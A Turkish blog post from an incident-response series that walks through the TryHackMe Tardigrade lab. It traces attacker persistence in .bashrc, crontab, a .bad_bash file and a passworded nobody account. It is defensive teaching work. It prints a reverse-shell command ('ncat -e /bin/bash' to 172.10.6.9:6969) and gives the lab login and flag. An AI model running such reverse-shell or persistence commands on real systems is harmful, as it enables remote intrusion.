Incident Response Temelleri — 6
Gerçek Olay Senaryosu
Olay müdahalesi, teorik bilgilerle sınırlı kalmamalı, pratiğe dökülmelidir. Bu yazıda, gerçek bir olay senaryosunu ele alarak öğrendiklerimizi test etme ve becerilerimizi geliştirme fırsatı bulacağız. Saldırganın izlerini sürmek, arka kapıları tespit etmek ve sistemi güvenli hale getirmek için adım adım ilerleyeceğiz.
Giriş
Bu bölümde Tardigrade THM Makinesi üzerinden bir saldırı sırasında meydana gelen izleri temizleyip açıkları kapatacağız. Güvenlik ekibi, sunucuyu karantinaya almış. Şimdi sıra bizde, bu beş arka kapıyı bulup etkisiz hale getirmeliyiz ki sunucu güvenle tekrar üretime alınabilsin.
İlk olarak, sunucuya bağlanmamız gerekiyor. Bunun için olay müdahale ekibinin sağladığı kimlik bilgilerini kullanacağız:
- Kullanıcı: giorgio
- Parola: armani
Bu bilgilerle sunucuya root yetkileriyle erişim sağlayabileceğiz. Şimdi, adım adım ilerleyelim ve bu arka kapıları tek tek ortaya çıkaralım.
Öncelikle SSH ile sunucuda oturum açıyoruz. Buradan OS (İşletim Sistemi) versiyon bilgisine ulaşabiliriz.
Giorgio Hesabını İnceleme
Giorgio hesabına başarıyla giriş yaptığımıza göre şimdi etrafı incelemeye başlayabiliriz. Saldırganın bıraktığı izleri bulmak için detaylı bir araştırma yapmamız gerekiyor. Unutmayalım, olay müdahalesinde hiçbir detayı gözden kaçırmamak esastır. Bu nedenle, bulgularımızı kaydetmek ve daha sonra tekrar gözden geçirmek üzere bir liste tutmamız oldukça faydalı olacaktır.
İlk olarak, giorgio’nun home dizinindeki dosyalara göz attığımızda .bad_bash
isimli bir dosya dikkatimizi çekiyor. Bu dosya, adından da anlaşılacağı gibi şüpheli görünüyor ve potansiyel bir arka kapı olabilir. Bunu not alalım.
Ardından her kullanıcının home
dizininde bulunan .bashrc
dosyasını inceliyoruz. Bu dosya, kullanıcı oturum açtığında otomatik olarak çalıştırılan komutları içerir. Giorgio’nun .bashrc
dosyasında, ls
komutunun yeniden tanımlandığını ve 172.10.6.9:6969
adresine reverse shell ile bağlantı kuran bir komut içerdiğini görüyoruz. Bu, saldırganın uzaktan sisteme erişim sağlamak için kullandığı bir başka arka kapı olabilir.
Son olarak, zamanlanmış görevleri kontrol ediyoruz. crontab
ile giorgio kullanıcısına ait zamanlanmış görevleri listelediğimizde /tmp/f
dosyası üzerinden 172.10.6.9:6969
adresine reverse shell ile bağlantı kuran bir komut daha buluyoruz. Bu, saldırganın sistemde sürekli bir erişim sağlamak için kullandığı bir başka yöntem olabilir. Bu üç bulgu, saldırganın sisteme sızmak ve kontrolünü ele geçirmek için kullandığı yöntemleri ortaya koyuyor. Bir sonraki adımda, bu arka kapıları etkisiz hale getirerek sistem güvenliğini yeniden sağlayacağız.
Dirty Wordlist
Bir önceki bölümde kısaca değindiğimiz dirty wordlist kavramını şimdi daha detaylı inceleyelim. Olay müdahalesi sürecinde, bu liste adeta gizli kahramanımız olacak. Peki, dirty wordlist tam olarak nedir ve neden bu kadar önemli?
Dirty wordlist, aslında olayın araştırılması sırasında topladığımız tüm bilgilerin ham bir kaydıdır. Bu listede, gerçek tehdit göstergelerinden (IOC) rastgele notlara, aklımıza gelen her türlü bilgiyi bulundurabiliriz. Düşünelim ki, karmaşık bir olayla karşı karşıyayız ve birçok detayı takip etmemiz gerekiyor. İşte bu noktada dirty wordlist devreye giriyor.
Bu listenin sağladığı faydalar saymakla bitmez. Öncelikle, belirli bir IOC’yi daha önce kaydedip kaydetmediğimizi kontrol etmemizi sağlar, böylece aynı ipuçları üzerinde tekrar tekrar zaman kaybetmeyiz. Ayrıca, araştırmamızın yolunda kalmamıza yardımcı olur ve kısır döngülere girmemizi engeller.
Dirty wordlistin bir diğer önemli avantajı da, araştırma sırasındaki düşünce sürecimizi belgelememize olanak sağlamasıdır. Belirli bir bilgiyi neden kaydettiğimizi hatırlamak, daha sonraki aşamalarda büyük önem kazanabilir. Bu sayede pivot noktaları belirleyebilir ve yeni ipuçları keşfedebiliriz.
Dahası, dirty wordlist, olay sonrası resmi raporlama sürecini de hızlandırır. Tüm ham verileri içeren bu listeden yola çıkarak gereksiz bilgileri ayıklayıp gerçek IOC’leri zenginleştirerek raporumuzu kolayca oluşturabiliriz. Kısacası, dirty wordlist, olay müdahalesinin her aşamasında bize yol gösteren değerli bir araçtır. Bu nedenle, olay müdahalesi sürecinde düzenli ve detaylı bir dirty wordlist tutmamız güzel olacaktır.
Root Hesabını İnceleme
Normal kullanıcı hesaplarını inceledikten sonra sıra root hesabına geldi. Saldırganlar, sistemde kalıcı erişim sağlamak için genellikle root hesabını hedef alırlar. Bu nedenle, root hesabını da dikkatlice incelememiz gerekiyor.
Root hesabına giriş yaptıktan kısa bir süre sonra terminalde bir hata mesajı beliriyor: Ncat:TIMEOUT.
Bu hata mesajının ardından terminalde şüpheli bir komut ortaya çıkıyor: ncat -e /bin/bash 172.10.6.9 6969
Bu komut, saldırganın 172.10.6.9:6969
adresine reverse shell bağlantısı kurmaya çalıştığını gösteriyor. Peki, bu komut nasıl çalıştırılıyor? Hiçbir şey yapmadan sadece oturum açarak bu tetiklendiyse arka planda çalışan bir mekanizma olmalı.
İncelemelerimiz sonucunda bu komutun root kullanıcısının .bashrc
dosyasına eklenmiş olduğunu görüyoruz. .bashrc
dosyası, kullanıcı oturum açtığında otomatik olarak çalıştırılan komutları içerir. Bu nedenle, saldırgan bu dosyaya komut ekleyerek her oturum açışında reverse shell bağlantısı kurmayı sağlamış. Bu da, saldırganın sistemde kalıcı bir erişim elde etmek için kullandığı bir başka yöntem olduğunu gösteriyor. Bu bulguyu dirty wordlistimize ekleyelim ve bir sonraki adımda bu arka kapıyı etkisiz hale getirelim.
Sistemi İnceleme
Giorgio ve root hesaplarını inceledikten sonra sistemde başka kalıcılık mekanizmaları olup olmadığını araştırmamız gerekiyor. Bu noktada, sistemin normal çalışma düzenini ne kadar iyi bildiğimiz önem kazanıyor. Usual ve Unusual öğeleri ayırt edebilmek, gizlenmiş tehditleri ortaya çıkarmamızda kilit rol oynuyor.
Sistematik bir inceleme için yaygın olarak kötüye kullanılan dosyaları ve dizinleri kontrol etmek iyi bir başlangıç noktası olabilir. Bu senaryoda, saldırganın yeni Linux kurulumlarında halihazırda bulunan bir öğeyi kötüye kullandığını biliyoruz.
/etc/shadow
dosyasını incelediğimizde nobody kullanıcısının şifrelenmiş bir parolaya sahip olduğunu görüyoruz. Bu, nobody hesabının ele geçirildiğini ve bir kalıcılık mekanizması olarak kullanıldığını düşündürüyor. nobody hesabı, normalde sistemde düşük yetkilere sahip bir hesap olarak bulunur ve genellikle gözden kaçar. Saldırganlar, tam da bu nedenle bu hesabı hedef alarak sistemde gizlice faaliyet göstermeye çalışabilirler. Bu bulguyu da dirty wordlistimize ekleyerek sistemdeki tüm kalıcılık mekanizmalarını ortaya çıkarmış oluyoruz. Artık, bu tehditleri ortadan kaldırmak ve sistem güvenliğini sağlamak için gerekli adımları atabiliriz.
Sonuç
Sistemdeki son kalıcılık mekanizmasını da bulduğumuza göre artık temizlik sürecine geçebiliriz. Bu senaryoda karşılaştığımız kalıcılık mekanizmaları nispeten basit olduğundan temizleme işlemleri de oldukça kolay.
İlk dört kalıcılık mekanizmasını, ilgili dosyaları silerek veya komutları kaldırarak ortadan kaldırabiliriz. Ancak, son kalıcılık mekanizması olan nobody hesabının kötüye kullanımı biraz daha farklı bir yaklaşım gerektiriyor. Burada, unusual durumu usual duruma geri döndürmemiz gerekiyor. Yani, nobody hesabının varsayılan ayarlarına geri dönmesini sağlamalıyız.
Ve işte, saldırganın bıraktığı son bir ipucu. /nonexistent
dizininde .youfoundme
adlı bir dosya bulduk. .youfoundme
dosyasının içeriğini görüntülediğimizde THM{Nob0dy_1s_s@f3} bayrağını görüyoruz. Bu, olay müdahale sürecimizin başarılı bir şekilde tamamlandığını gösteriyor. Tüm kalıcılık mekanizmalarını tespit edip etkisiz hale getirerek sistem güvenliğini yeniden sağladık. Bu örnek senaryo, olay müdahalesi sürecinde sistematik bir yaklaşımın ve dikkatli bir incelemenin ne kadar önemli olduğunu gösteriyor. Unutmayalım, hiçbir detayı gözden kaçırmamak, başarılı bir olay müdahalesinin anahtarıdır.
Bu blog yazısında, gerçek bir olay senaryosu üzerinden adım adım bir olay müdahalesi sürecini inceledik. Tardigrade THM Makinesi’ne yapılan bir saldırı sonrasında saldırganın kullandığı çeşitli kalıcılık mekanizmalarını tespit ettik ve bunları etkisiz hale getirerek sistem güvenliğini nasıl yeniden sağlayabileceğimizi gördük. .bad_bash
dosyası, .bashrc
ve crontab
dosyalarındaki değişiklikler, ncat
ile kurulan reverse shell bağlantıları ve nobody hesabının kötüye kullanımı gibi örnekler üzerinden saldırganların sistemde kalıcı erişim sağlamak için kullandığı yaygın yöntemleri ele aldık. Bu örnek senaryoda, olay müdahalesi sürecinde sistematik bir yaklaşımın, dikkatli bir incelemenin ve dirty wordlist gibi araçların ne kadar önemli olduğunu vurguladık. Herhangi bir siber güvenlik olayıyla karşı karşıya kaldığınızda bu adımları takip ederek sisteminizin güvenliğini yeniden sağlayabilir ve gelecekteki saldırılara karşı daha hazırlıklı olabiliriz.